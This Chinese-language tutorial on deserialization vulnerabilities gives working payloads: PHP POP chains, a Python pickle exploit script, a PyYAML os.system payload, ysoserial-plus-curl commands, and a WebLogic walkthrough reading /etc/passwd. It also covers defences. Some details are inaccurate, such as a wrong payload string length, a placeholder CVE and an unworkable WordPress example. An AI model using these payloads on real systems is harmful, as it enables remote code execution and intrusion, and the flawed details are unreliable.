Day-040-反序列化漏洞基础

# Day 38: 反序列化漏洞基础

> Web 安全系列第 8 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [序列化与反序列化](#序列化与反序列化)
2. [漏洞原理详解](#漏洞原理详解)
3. [PHP 反序列化](#php 反序列化)
4. [Java 反序列化](#java 反序列化)
5. [Python 反序列化](#python 反序列化)
6. [Gadget 链分析](#gadget 链分析)
7. [漏洞检测流程](#漏洞检测流程)
8. [防护策略与最佳实践](#防护策略与最佳实践)
9. [实战案例分析](#实战案例分析)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 序列化与反序列化

### 什么是序列化

**序列化（Serialization）**是将对象转换为可存储或可传输格式的过程。

**形象理解**：
如果把对象比作一个复杂的机器，那么：
- **序列化** = 把机器拆解成零件，打包成箱子
- **传输/存储** = 运输箱子或存放箱子
- **反序列化** = 打开箱子，重新组装成机器

**序列化的目的**：
```
1. 数据存储
   - 保存到文件
   - 保存到数据库
   - 缓存数据

2. 网络传输
   - API 通信
   - 远程调用
   - 消息队列

3. 会话管理
   - Session 存储
   - Cookie 数据
   - 用户状态
```

**常见序列化格式**：
```
1. JSON（轻量、通用）
   {"name": "alice", "age": 25}

2. XML（结构化）
   <user><name>alice</name><age>25</age></user>

3. Binary（二进制）
   - PHP serialize
   - Java Object
   - Python pickle

4. Protocol Buffers（高效）
   - Google 开发
   - 类型安全
   - 跨语言
```

### 什么是反序列化

**反序列化（Deserialization）**是序列化的逆过程，将序列化数据还原为对象。

**为什么危险**：
```
反序列化过程中：
1. 创建对象
2. 调用构造函数
3. 调用魔术方法
4. 执行代码

如果数据来自用户：
- 攻击者可构造恶意数据
- 触发危险方法
- 执行任意代码
- 获取服务器权限
```

**类比理解**：
```
正常反序列化：
- 收到箱子（序列化数据）
- 检查箱子完整性
- 按说明书组装（安全）
- 得到正常机器

恶意反序列化：
- 收到箱子（恶意数据）
- 不检查直接组装
- 箱子里有炸弹（危险代码）
- 组装时爆炸（代码执行）
```

---

## 漏洞原理详解

### 为什么会发生漏洞

**根本原因**：
```
1. 信任用户输入
   - 直接反序列化用户数据
   - 未验证数据来源
   - 未检查数据完整性

2. 危险类可用
   - 存在可利用的类
   - 类中有危险方法
   - 可形成调用链

3. 魔术方法触发
   - __wakeup()
   - __destruct()
   - __toString()
   - 自动执行代码
```

**攻击流程**：
```
1. 发现反序列化点
   - Cookie
   - Session
   - POST 参数
   - API 输入

2. 分析可用类
   - 寻找 Gadget
   - 分析魔术方法
   - 构造调用链

3. 构造 Payload
   - 序列化恶意对象
   - 包含 Gadget 链
   - 触发危险操作

4. 发送 Payload
   - 提交恶意数据
   - 服务器反序列化
   - 代码执行
```

---

## PHP 反序列化

### PHP 序列化格式

**序列化函数**：
```php
// 序列化
serialize($object);

// 反序列化
unserialize($data);
```

**序列化格式**：
```
O:4:"User":2:{s:4:"name";s:5:"alice";s:3:"age";i:25;}

解析：
O:4:"User"  → 对象，类名"User"（4 字符）
2:          → 2 个属性
{
  s:4:"name";  → 字符串属性"name"（4 字符）
  s:5:"alice"; → 值"alice"（5 字符）
  s:3:"age";   → 字符串属性"age"（3 字符）
  i:25;        → 整数值 25
}
```

### 魔术方法

**常用魔术方法**：
```php
class User {
    // 反序列化时调用
    public function __wakeup() {
        // 初始化操作
    }
    
    // 对象销毁时调用
    public function __destruct() {
        // 清理操作
    }
    
    // 对象作为字符串时调用
    public function __toString() {
        return "User: {$this->name}";
    }
    
    // 读取不可访问属性时调用
    public function __get($name) {
        return $this->$name;
    }
    
    // 设置不可访问属性时调用
    public function __set($name, $value) {
        $this->$name = $value;
    }
}
```

**危险魔术方法**：
```php
class Vulnerable {
    public function __wakeup() {
        // 执行命令
        system($this->cmd);
    }
    
    public function __destruct() {
        // 包含文件
        include($this->file);
    }
    
    public function __toString() {
        // 数据库查询
        mysql_query($this->query);
    }
}
```

### 漏洞示例

**简单示例**：
```php
<?php
class User {
    public $name;
    public $cmd;
    
    public function __wakeup() {
        // 反序列化时自动执行
        system($this->cmd);
    }
}

// 用户输入
$data = $_GET['data'];

// 反序列化（危险！）
unserialize($data);

// Payload:
// O:4:"User":2:{s:4:"name";s:5:"alice";s:3:"cmd";s:4:"whoami";}
```

**完整利用**：
```php
<?php
class User {
    public $name;
    public $cmd;
    
    public function __wakeup() {
        system($this->cmd);
    }
}

// 构造 Payload
$user = new User();
$user->name = "alice";
$user->cmd = "whoami";

$payload = serialize($user);
echo urlencode($payload);

// 输出：
// O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22alice%22%3Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D

// 攻击：
// ?data=O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22alice%22%3Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
```

### POP 链构造

**什么是 POP 链**：
```
POP（Property Oriented Programming）链：
- 利用现有类的方法
- 构造调用链
- 触发危险操作
- 无需新代码
```

**示例**：
```php
<?php
class A {
    public $obj;
    
    public function __destruct() {
        $this->obj->execute();
    }
}

class B {
    public function execute() {
        system("whoami");
    }
}

// 构造 POP 链
$a = new A();
$a->obj = new B();

// 序列化
$payload = serialize($a);

// 反序列化时：
// 1. 创建 A 对象
// 2. A 对象销毁
// 3. 调用 __destruct()
// 4. 调用 $obj->execute()
// 5. 执行 system("whoami")
```

---

## Java 反序列化

### Java 序列化格式

**序列化类**：
```java
// 实现 Serializable 接口
public class User implements Serializable {
    private String name;
    private int age;
    
    // 构造函数
    // Getter/Setter
}

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(user);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(fis);
User user = (User) ois.readObject();
```

**序列化格式**：
```
AC ED 00 05  → 序列化协议头
73 72        → TC_OBJECT, TC_CLASSDESC
00 04        → 类名长度
55 73 65 72  → 类名"User"
...          → 字段信息
```

### 危险类

**CommonsCollections**：
```
Apache Commons Collections 库中的类，
可被利用执行任意代码。

版本：
- CommonsCollections 3.2.1
- CommonsCollections 4.0

利用：
- InvokerTransformer
- InstantiateTransformer
- ConstantTransformer
```

**其他危险库**：
```
- CommonsBeanutils
- CommonsFileUpload
- Groovy
- Spring
- Hibernate
- MyBatis
```

### ysoserial 工具

**什么是 ysoserial**：
```
ysoserial 是 Java 反序列化漏洞利用工具，
可生成各种 Gadget 链的 Payload。

GitHub: https://github.com/frohoff/ysoserial
```

**使用方法**：
```bash
# 查看可用 Gadget
java -jar ysoserial.jar

# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送 Payload
curl -X POST --data-binary @payload.bin http://target.com/api
```

**常用 Gadget**：
```
CommonsCollections1-6:
- 利用 CommonsCollections 库
- 不同版本适用不同
- 最常用

Spring1-2:
- 利用 Spring 框架
- 需要 Spring 依赖

Groovy1:
- 利用 Groovy 脚本引擎
- 直接执行命令

Jdk7u21:
- 利用 JDK 7u21 漏洞
- 无需第三方库
```

### 漏洞示例

**简单示例**：
```java
import java.io.*;
import java.util.*;

public class Vulnerable {
    public static void main(String[] args) throws Exception {
        // 读取用户输入
        byte[] input = System.in.readAllBytes();
        
        // 反序列化（危险！）
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(input));
        Object obj = ois.readObject();
        
        // obj 可能包含恶意代码
    }
}
```

**完整利用**：
```bash
# 1. 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 2. 发送 Payload
curl -X POST \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin \
  http://target.com/api/deserialize

# 3. 服务器反序列化
# 执行 whoami 命令
# 返回结果
```

---

## Python 反序列化

### Python 序列化格式

**pickle 模块**：
```python
import pickle

# 序列化
data = pickle.dumps(obj)

# 反序列化
obj = pickle.loads(data)
```

**序列化格式**：
```
pickle 使用 Python 特有的二进制格式：
\x80\x03c__builtin__\nexec\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.

解析：
\x80\x03  → 协议版本
c        → 全局对象（模块。函数）
__builtin__\nexec\n → 执行函数
...      → 参数
```

### 漏洞示例

**简单示例**：
```python
import pickle
import base64

class User:
    def __init__(self, name):
        self.name = name
    
    def __reduce__(self):
        # 反序列化时调用
        import os
        return (os.system, ('whoami',))

# 序列化
user = User('alice')
payload = pickle.dumps(user)

# 编码为 Base64（便于传输）
encoded = base64.b64encode(payload).decode()
print(encoded)

# 服务器端
data = base64.b64decode(request.args.get('data'))
pickle.loads(data)  # 执行 whoami
```

**完整利用**：
```python
#!/usr/bin/env python3
# exploit.py

import pickle
import base64
import requests

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# 生成 Payload
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()

# 发送请求
url = 'http://target.com/api'
params = {'data': encoded}
response = requests.get(url, params=params)

print(response.text)
```

### yaml 反序列化

**PyYAML 漏洞**：
```python
import yaml

# 危险的反序列化
data = yaml.load(user_input)  # 危险！

# 安全的反序列化
data = yaml.safe_load(user_input)  # 安全
```

**Payload 示例**：
```yaml
!!python/object/apply:os.system
args: ["whoami"]
```

**利用**：
```python
import yaml

# 用户输入
user_input = """
!!python/object/apply:os.system
args: ["whoami"]
"""

# 危险的反序列化
yaml.load(user_input)  # 执行 whoami
```

---

## Gadget 链分析

### 什么是 Gadget 链

**Gadget**：
```
Gadget 是代码中的一个片段，
可被攻击者利用执行操作。

特点：
- 存在于正常代码中
- 不是漏洞本身
- 可组合形成链
```

**Gadget 链**：
```
多个 Gadget 组合形成的调用链：
Gadget 1 → Gadget 2 → Gadget 3 → 危险操作

例如：
反序列化 → 调用__destruct → 调用方法 → 执行命令
```

### PHP Gadget 链

**示例**：
```php
<?php
class A {
    public $obj;
    
    public function __destruct() {
        $this->obj->execute();
    }
}

class B {
    public $file;
    
    public function execute() {
        include($this->file);
    }
}

// Gadget 链：
// A::__destruct() → B::execute() → include()

// 构造
$a = new A();
$a->obj = new B();
$a->obj->file = 'shell.php';

$payload = serialize($a);
```

### Java Gadget 链

**CommonsCollections5**：
```
链结构：
1. AnnotationInvocationHandler
2. TiedMapEntry
3. InvokerTransformer
4. Runtime.exec()

流程：
反序列化 → AnnotationInvocationHandler → TiedMapEntry → 
InvokerTransformer → Runtime.exec() → 执行命令
```

**ysoserial 分析**：
```bash
# 查看 Gadget 链
java -jar ysoserial.jar CommonsCollections5 "whoami" | xxd

# 分析字节流
# 查看对象结构
# 理解调用链
```

---

## 漏洞检测流程

### 检测反序列化点

**常见位置**：
```
1. Cookie
   Set-Cookie: session=O:4:"User":...

2. Session
   服务器端 Session 存储

3. POST 参数
   data=O:4:"User":...

4. API 输入
   Content-Type: application/x-java-serialized-object

5. 文件
   上传的序列化文件
```

**检测方法**：
```
1. 特征识别
   PHP: O:4:"User"
   Java: \xac\xed\x00\x05
   Python: \x80\x03

2. 修改测试
   修改序列化数据
   观察响应变化

3. 工具扫描
   Burp Suite
   反序列化扫描插件
```

### 漏洞验证

**PHP 验证**：
```php
// 测试 Payload
O:4:"User":1:{s:4:"test";s:4:"AAAA";}

// 观察
// 如果反序列化，可能有响应变化
// 或错误信息
```

**Java 验证**：
```bash
# 使用 ysoserial 生成无害 Payload
java -jar ysoserial.jar CommonsCollections5 "echo POC" > poc.bin

# 发送
curl -X POST --data-binary @poc.bin http://target.com/api

# 观察响应
# 如果有 POC 输出，存在漏洞
```

**Python 验证**：
```python
import pickle
import base64

class Test:
    def __reduce__(self):
        return (print, ('POC',))

payload = base64.b64encode(pickle.dumps(Test())).decode()
requests.get('http://target.com/api', params={'data': payload})
```

---

## 防护策略与最佳实践

### 避免反序列化

**最佳方案**：
```
1. 不使用序列化
   使用 JSON 等安全格式
   
2. 使用安全替代
   JSON: json.loads()
   XML: 安全解析器
   
3. 数据验证
   验证数据来源
   验证数据完整性
```

### 代码层面防护

**PHP**：
```php
// 避免使用 unserialize()
// 使用 JSON
json_decode($data, true);

// 如果必须使用
class SafeUnserialize {
    public static function unserialize($data, $allowed_classes = []) {
        return \unserialize($data, [
            'allowed_classes' => $allowed_classes
        ]);
    }
}

// 仅允许特定类
SafeUnserialize::unserialize($data, ['User', 'Product']);
```

**Java**：
```java
// 使用 ObjectInputFilter（Java 9+）
ObjectInputFilter filter = info -> {
    String className = info.getDescription();
    if (className.startsWith("com.safe.")) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
};

ois.setObjectInputFilter(filter);

// 使用安全库
// 避免使用 CommonsCollections 等危险库
```

**Python**：
```python
# 使用安全加载
import yaml
data = yaml.safe_load(user_input)  # 安全

# 避免 pickle
import json
data = json.loads(user_input)  # 安全

# 如果必须使用 pickle
# 验证数据来源
# 使用签名
import hmac
signature = hmac.new(key, data, hashlib.sha256).digest()
# 验证签名后再反序列化
```

### 运行时防护

**WAF 规则**：
```
检测序列化特征：
- PHP: O:\d+:"
- Java: \xac\xed
- Python: \x80\x0[2-4]

阻断可疑请求：
- 包含序列化数据
- 无合法业务场景
- 来源可疑
```

**监控告警**：
```
监控：
- 反序列化调用
- 异常类加载
- 危险方法调用

告警：
- 反序列化失败
- 未知类反序列化
- 频繁反序列化
```

---

## 实战案例分析

### 案例 1: WebLogic 反序列化漏洞

**漏洞描述**：
```
产品：Oracle WebLogic
漏洞：反序列化远程代码执行
CVE: CVE-2015-4852
影响：所有版本
```

**漏洞原理**：
```
1. WebLogic 使用 T3 协议
2. T3 协议支持 Java 序列化
3. 未验证序列化数据
4. 攻击者发送恶意序列化对象
5. 服务器反序列化执行代码
```

**利用过程**：
```bash
# 1. 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 2. 发送 T3 请求
python weblogic_exploit.py target 7001 payload.bin

# 3. 执行命令
whoami
id
cat /etc/passwd
```

**修复方案**：
```
1. 升级到安全版本
2. 禁用 T3 协议
3. 配置白名单
4. 网络隔离
```

### 案例 2: WordPress 插件反序列化

**漏洞描述**：
```
产品：WordPress 插件
漏洞：Cookie 反序列化
CVE: CVE-2017-XXXX
影响：数万网站
```

**漏洞原理**：
```
1. 插件将用户数据序列化到 Cookie
2. 读取 Cookie 后反序列化
3. 未验证数据来源
4. 攻击者修改 Cookie
5. 注入恶意对象
```

**利用过程**：
```php
// 1. 分析插件代码
// 找到反序列化点

// 2. 构造 Payload
class Exploit {
    public function __wakeup() {
        system($_GET['c']);
    }
}

$payload = serialize(new Exploit());

// 3. 设置 Cookie
Set-Cookie: wp_data=<?php echo urlencode($payload); ?>

// 4. 访问网站
// Cookie 被反序列化
// 执行命令
```

**修复方案**：
```
1. 移除反序列化
2. 使用 JSON 存储
3. 验证 Cookie 签名
4. 更新插件
```

---

## 总结与思考

### 核心要点回顾

1. **漏洞原理**
   - 反序列化用户输入
   - 触发危险方法
   - 执行任意代码

2. **语言特性**
   - PHP: 魔术方法
   - Java: Gadget 链
   - Python: __reduce__

3. **防护策略**
   - 避免反序列化
   - 使用安全格式
   - 代码层防护

### 深入思考问题

1. **为什么反序列化漏洞难修复**？
   - 业务依赖
   - 兼容性要求
   - 历史代码

2. **云环境下的风险**？
   - 微服务通信
   - 消息队列
   - 新的攻击面

3. **未来防护方向**？
   - 类型安全
   - 白名单机制
   - 运行时保护

### 实战建议

**开发人员**：
1. 避免反序列化
2. 使用 JSON 等安全格式
3. 验证数据来源
4. 实施白名单

**安全人员**：
1. 扫描反序列化点
2. 测试漏洞
3. 代码审计
4. 监控告警

**管理层**：
1. 安全培训
2. 代码审查
3. 依赖管理
4. 应急响应

---

## 参考资料

### 学习资源
- [OWASP Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
- [PHP Deserialization](https://www.owasp.org/index.php/PHP_Object_Injection)
- [Java Deserialization](https://www.owasp.org/index.php/Java_Deserialization_Cheat_Sheet)

### 工具资源
- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [Burp Suite](https://portswigger.net/burp)

### 书籍推荐
- 《Java 反序列化漏洞分析与利用》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 39 - PHP 反序列化深入

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 38 篇，Web 安全部分第 8 篇，精编版本*